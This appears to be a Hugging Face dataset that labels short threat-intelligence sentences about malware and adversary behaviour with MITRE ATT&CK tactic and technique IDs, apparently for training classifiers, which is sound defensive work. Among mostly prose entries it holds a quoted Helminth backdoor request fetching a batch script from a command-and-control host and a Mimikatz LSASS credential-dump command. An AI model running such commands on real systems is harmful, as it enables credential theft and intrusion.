madox81/Adema_ATTACK_DS huggingface dataset:
Input: The following HTTP request from the Helminth backdoor (SHA256: 1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c) downloaded the similar batch script: GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1 Host: update-kernal[.]net Connection: Keep-Alive We performed a code comparison to visualize the similarities between the batch script delivered as the default command in Poison Frog is to the script provided to the Helminth backdoor

Tactics: TA0002, TA0011
Techniques: T1071, T1059
Input: njRAT can download files to the victim’s machine.

Tactics: TA0011
Techniques: T1105
Input: Catchamas adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information.

Tactics: TA0040
Techniques: T1565, T1565.002
Input: Evilnum has sent spearphishing emails containing a link to a zip file hosted on Google Drive.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: Detect lack of reported activity from a host sensor.

Tactics: TA0005
Techniques: T1562.006, T1562
Input: MacSpy persists via a Launch Agent.

Tactics: TA0003, TA0004
Techniques: T1543.001, T1543
Input: SMOKEDHAM has modified the Registry to hide created user accounts from the Windows logon screen.

Tactics: TA0005
Techniques: T1564.002, T1564
Input: TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP.

Tactics: TA0006
Techniques: T1552.001, T1552
Input: Ramsay has masqueraded as a 7zip installer.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: BoomBox can enumerate the hostname, domain, and IP of a compromised host.

Tactics: TA0007
Techniques: T1082
Input: WhisperGate can download additional payloads hosted on a Discord channel.

Tactics: TA0011
Techniques: T1102
Input: APT32's macOS backdoor hides the clientID file via a chflags function.

Tactics: TA0005
Techniques: T1564, T1564.001
Input: COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32).

Tactics: TA0005
Techniques: T1218, T1218.012
Input: The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.

Tactics: TA0007
Techniques: T1124
Input: Cobalt Group has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout.

Tactics: TA0004, TA0005
Techniques: T1548.003, T1548
Input: Consider monitoring for new Windows Service, with respect to virtualization software.

Tactics: TA0005
Techniques: T1564, T1564.006
Input: Gelsemium can use HTTP/S in C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: FIN6 has used malicious documents to lure victims into allowing execution of PowerShell scripts.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: The server acknowledges with an ACK message and the client receives the network configuration parameters.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.003
Input: Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts.

Tactics: TA0001, TA0003, TA0004, TA0005, TA0008
Techniques: T1078, T1550
Input: In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

Tactics: TA0042
Techniques: T1587, T1587.003
Input: Monitor for changes made to files that may leverage Microsoft Office-based applications for persistence between startups.

Tactics: TA0003
Techniques: T1137
Input: Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

Tactics: TA0005
Techniques: T1553, T1553.004
Input: Character  Description  0  File contains batch commands, it executes the batch commands  1  Rename the temporary file as .ps1 extension  2  Rename the temporary file as .vbs extension   Table 2: BONDUPDATER Actions Figure 8 is a screenshot of BONDUPDATER’s DGA implementation

Tactics: TA0002
Techniques: T1059
Input: Kimsuky has used tools such as the MailFetch mail crawler to collect victim emails (excluding spam) from online services via IMAP.

Tactics: TA0009
Techniques: T1114, T1114.002
Input: Mustang Panda has executed HTA files via cmd.exe, and used batch scripts for collection.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Additional information In the advanced stages of this research, we were able not only to observe additional files and tools from the attackers’ arsenal but also some OPSEC mistakes made by the attackers

Tactics: TA0011
Techniques: T1105
Input: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content.

Tactics: TA0040
Techniques: T1491
Input: GoldFinder has used HTTP for C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.011
Input: Elise executes ipconfig /all after initial communication is made to the remote server.

Tactics: TA0007
Techniques: T1016
Input: Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location.

Tactics: TA0003, TA0004
Techniques: T1546.009, T1546
Input: TrickBot can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using esentutl.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.

Tactics: TA0008
Techniques: T1021.003, T1021
Input: Sandworm Team has also researched third-party websites to help it craft credible spearphishing emails.

Tactics: TA0043
Techniques: T1593
Input: Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.

Tactics: TA0005
Techniques: T1578.002, T1578
Input: Use application control configured to block execution of Odbcconf.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

Tactics: TA0005
Techniques: T1218, T1218.008
Input: DealersChoice uses HTTP for communication with the C2 server.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: FinFisher obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: Micropsia creates a shortcut to maintain persistence.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: The reconnaissance modules used with Duqu can collect information on network configuration.

Tactics: TA0007
Techniques: T1016
Input: Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components.

Tactics: TA0040
Techniques: T1499
Input: APT32 actors continue to deliver the malicious attachments via spear-phishing emails

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Rocke has looked for IP addresses in the known_hosts file on the infected system and attempted to SSH into them.

Tactics: TA0007
Techniques: T1018
Input: SysUpdate can determine whether a system has a 32 bit or 64 bit architecture.

Tactics: TA0007
Techniques: T1082
Input: It may be possible to detect adversary use of credentials they have obtained such as in Valid Accounts.

Tactics: TA0006
Techniques: T1552, T1552.005
Input: USBferry can use netstat and nbtstat to detect active network connections.

Tactics: TA0007
Techniques: T1049
Input: The .lnk file extracted from the .7zip file

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: QUADAGENT has a command to delete its Registry key and scheduled task.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy)

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Hancitor has used a macro to check that an ActiveDocument shape object in the lure message is present.

Tactics: TA0005, TA0007
Techniques: T1497
Input: Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing.

Tactics: TA0042
Techniques: T1585
Input: FIN5 maintains access to victim environments by using FLIPSIDE to create a proxy for a backup RDP tunnel.

Tactics: TA0011
Techniques: T1090, T1090.002
Input: MURKYTOP has the capability to identify remote hosts on connected networks.

Tactics: TA0007
Techniques: T1018
Input: menuPass has renamed certutil and moved it to a different location on the system to avoid detection based on use of the tool.

Tactics: TA0005
Techniques: T1036.003, T1036
Input: RTM can obtain information about security software on the victim.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: GoldFinder performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through.

Tactics: TA0007
Techniques: T1016.001, T1016
Input: SHOTPUT has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.

Tactics: TA0007
Techniques: T1018
Input: Ixeshe collects the computer name of the victim's system during the initial infection.

Tactics: TA0007
Techniques: T1082
Input: Magic Hound malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine.

Tactics: TA0007
Techniques: T1082
Input: Monitor for API calls that may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.

Tactics: TA0007
Techniques: T1518
Input: One implementation of DNS Calculation is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.

Tactics: TA0011
Techniques: T1568, T1568.003
Input: Agent Tesla can log keystrokes on the victim’s machine.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Japanese Tech Company Taiwanese Government Organizations Organizations in the Asia-Pacific Region that are of Interest to China   The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors:  C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe   WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor

Tactics: TA0007, TA0009
Techniques: T1005, T1518.001, T1518
Input: MoonWind encrypts C2 traffic using RC4 with a static key.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Tropic Trooper has used Windows command scripts.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Crimson can decode its encoded PE file prior to execution.

Tactics: TA0005
Techniques: T1140
Input: The Regin malware platform can use ICMP to communicate between infected computers.

Tactics: TA0011
Techniques: T1095
Input: This change in policy on a system may be a way to detect malicious use of PowerShell.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: This could include filling out profile information, developing social networks, or incorporating photos.

Tactics: TA0042
Techniques: T1585, T1585.001
Input: In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: FIN7 used VBS scripts to help perform tasks on the victim's machine.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: Ruler can be used to automate the abuse of Outlook Rules to establish persistence.

Tactics: TA0003
Techniques: T1137, T1137.005
Input: APT41 created the StorSyncSvc service to provide persistence for Cobalt Strike.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: StrongPity can identify the IP address of a compromised host.

Tactics: TA0007
Techniques: T1016
Input: For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.

Tactics: TA0003
Techniques: T1098, T1098.003
Input: Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program.

Tactics: TA0005
Techniques: T1036, T1036.001
Input: sekurlsa::Minidump lsassdump.dmp

Tactics: TA0006
Techniques: T1003, T1003.001
Input: Hardcoded domain “mumbai-m[.]site”  BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution:  Create a temporary file in %temp% location The file created will have the last two octets of the resolved IP addresses as its filename

Tactics: TA0005, TA0007
Techniques: T1036, T1016
Input: Capabilities can also be staged on web services, such as GitHub or Pastebin.

Tactics: TA0042
Techniques: T1608
Input: Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Tactics: TA0003, TA0005
Techniques: T1542.005, T1542
Input: MimiPenguin can dump process memory and extract clear-text credentials.

Tactics: TA0006
Techniques: T1003, T1003.007
Input: Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources

Tactics: TA0002
Techniques: T1059
Input: Windigo has used a script to check for the presence of files created by OpenSSH backdoors.

Tactics: TA0007
Techniques: T1083
Input: Malicious XDG autostart entries may be detected by auditing file modification events within the /etc/xdg/autostart and ~/.config/autostart directories.

Tactics: TA0003, TA0004
Techniques: T1547.013, T1547
Input: Taidoor has the ability to modify the Registry on compromised hosts using RegDeleteValueA and RegCreateKeyExA.

Tactics: TA0005
Techniques: T1112
Input: BBK has the ability to use the CreatePipe API to add a sub-process for execution via cmd.

Tactics: TA0002
Techniques: T1106
Input: T9000 searches removable storage devices for files with a pre-defined list of file extensions ( * .doc, .ppt, .xls, .docx, .pptx, *.xlsx).

Tactics: TA0009
Techniques: T1119
Input: Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.

Tactics: TA0002
Techniques: T1059.002, T1059
Input: Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider.

Tactics: TA0003, TA0004
Techniques: T1547.003, T1547
Input: Exaramel for Linux uses HTTPS for C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: RunningRAT uses a batch file to kill a security program task and then attempts to remove itself.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: RTM has the capability to download a VNC module from command and control (C2).

Tactics: TA0011
Techniques: T1219
Input: Turla has used tracert to check internet connectivity.

Tactics: TA0007
Techniques: T1016.001, T1016
Input: Pysa has the functionality to delete shadow copies.

Tactics: TA0040
Techniques: T1490
Input: The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.

Tactics: TA0006
Techniques: T1003, T1003.008
Input: Gamaredon Group has used an Outlook VBA module on infected systems to send phishing emails with malicious attachments to other employees within the organization.

Tactics: TA0008
Techniques: T1534
Input: Proxysvc searches the local system and gathers data.

Tactics: TA0009
Techniques: T1005
Input: APT32 performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.

Tactics: TA0007
Techniques: T1046
Input: A version of Daserf uses the MPRESS packer.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: Do not allow privileged accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

Tactics: TA0003
Techniques: T1136, T1136.003
Input: APT38 has used a utility called CLOSESHAVE that can securely delete a file from the system.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: BoomBox can decrypt AES-encrypted files downloaded from C2.

Tactics: TA0005
Techniques: T1140
Input: Pteranodon can use a malicious VBS file for execution.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: PipeMon loads its modules using reflective loading or custom shellcode.

Tactics: TA0002
Techniques: T1129
Input: Users can be trained to identify social engineering techniques and spearphishing attempts.

Tactics: TA0043
Techniques: T1598.002, T1598, T1598.003
Input: An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.

Tactics: TA0003, TA0004
Techniques: T1037, T1037.005
Input: This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.

Tactics: TA0003, TA0004
Techniques: T1037.001, T1037
Input: Frankenstein has used PowerShell to run a series of base64-encoded commands, that acted as a stager and enumerated hosts.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Ryuk has stopped services related to anti-virus.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Tactics: TA0040
Techniques: T1499
Input: Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.

Tactics: TA0040
Techniques: T1486
Input: HTTPBrowser's installer contains a malicious file named navlu.dll to decrypt and run the RAT.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system

Tactics: TA0011
Techniques: T1105
Input: Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.006, T1053
Input: USBStealer automatically exfiltrates collected files via removable media when an infected device connects to an air-gapped victim machine after initially being connected to an internet-enabled victim machine.

Tactics: TA0010
Techniques: T1020
Input: Darkhotel has obfuscated code using RC4, XOR, and RSA.

Tactics: TA0005
Techniques: T1027
Input: PLAINTEE uses cmd.exe to execute commands on the victim’s machine.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: The initial overlap was based on the filename wmssl.exe, which was seen as an executable name that Cannon would move the wmssl.txt attachment to install and execute a secondary payload

Tactics: TA0005
Techniques: T1036
Input: Dok downloads and installs Tor via homebrew.

Tactics: TA0011
Techniques: T1090.003, T1090
Input: Operation Wocao has discovered network disks mounted to the system using netstat.

Tactics: TA0007
Techniques: T1135
Input: Bisonal can obtain a list of running processes on the victim’s machine.

Tactics: TA0007
Techniques: T1057
Input: Skidmap has encrypted it's main payload using 3DES.

Tactics: TA0005
Techniques: T1027
Input: BLINDINGCAN has used Rundll32 to load a malicious DLL.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: BlackEnergy has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.

Tactics: TA0003
Techniques: T1505.003, T1505
Input: Monitor and analyze network packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, protocol port mismatch, anomalous syntax, or structure).

Tactics: TA0003, TA0005, TA0011
Techniques: T1205
Input: GrimAgent can base64 encode C2 replies.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Tropic Trooper used pr and an openly available tool to scan for open ports on target systems.

Tactics: TA0007
Techniques: T1046
Input: Monitor for third-party application logging, messaging, and/or other artifacts that may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system.

Tactics: TA0003
Techniques: T1137, T1137.004
Input: Dragonfly has compromised websites to redirect traffic and to host exploit kits.

Tactics: TA0042
Techniques: T1608.004, T1608
Input: Video or image files may be written to disk and exfiltrated later.

Tactics: TA0009
Techniques: T1125
Input: Monitor for Keychain files being accessed that may be related to malicious credential collection.

Tactics: TA0006
Techniques: T1555.001, T1555
Input: Higaisa used certutil to decode Base64 binaries at runtime and a 16-byte XOR key to decrypt data.

Tactics: TA0005
Techniques: T1140
Input: Evilnum can deploy additional components or tools as needed.

Tactics: TA0011
Techniques: T1105
Input: Monitor for newly constructed files from a phishing messages to gain access to victim systems.

Tactics: TA0001
Techniques: T1566
Input: Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.

Tactics: TA0004, TA0005
Techniques: T1548.004, T1548
Input: InvisiMole can check for the presence of network sniffers, AV, and BitDefender firewall.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Bandook has used the ShellExecuteW() function call.

Tactics: TA0002
Techniques: T1106
Input: MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine.

Tactics: TA0007
Techniques: T1518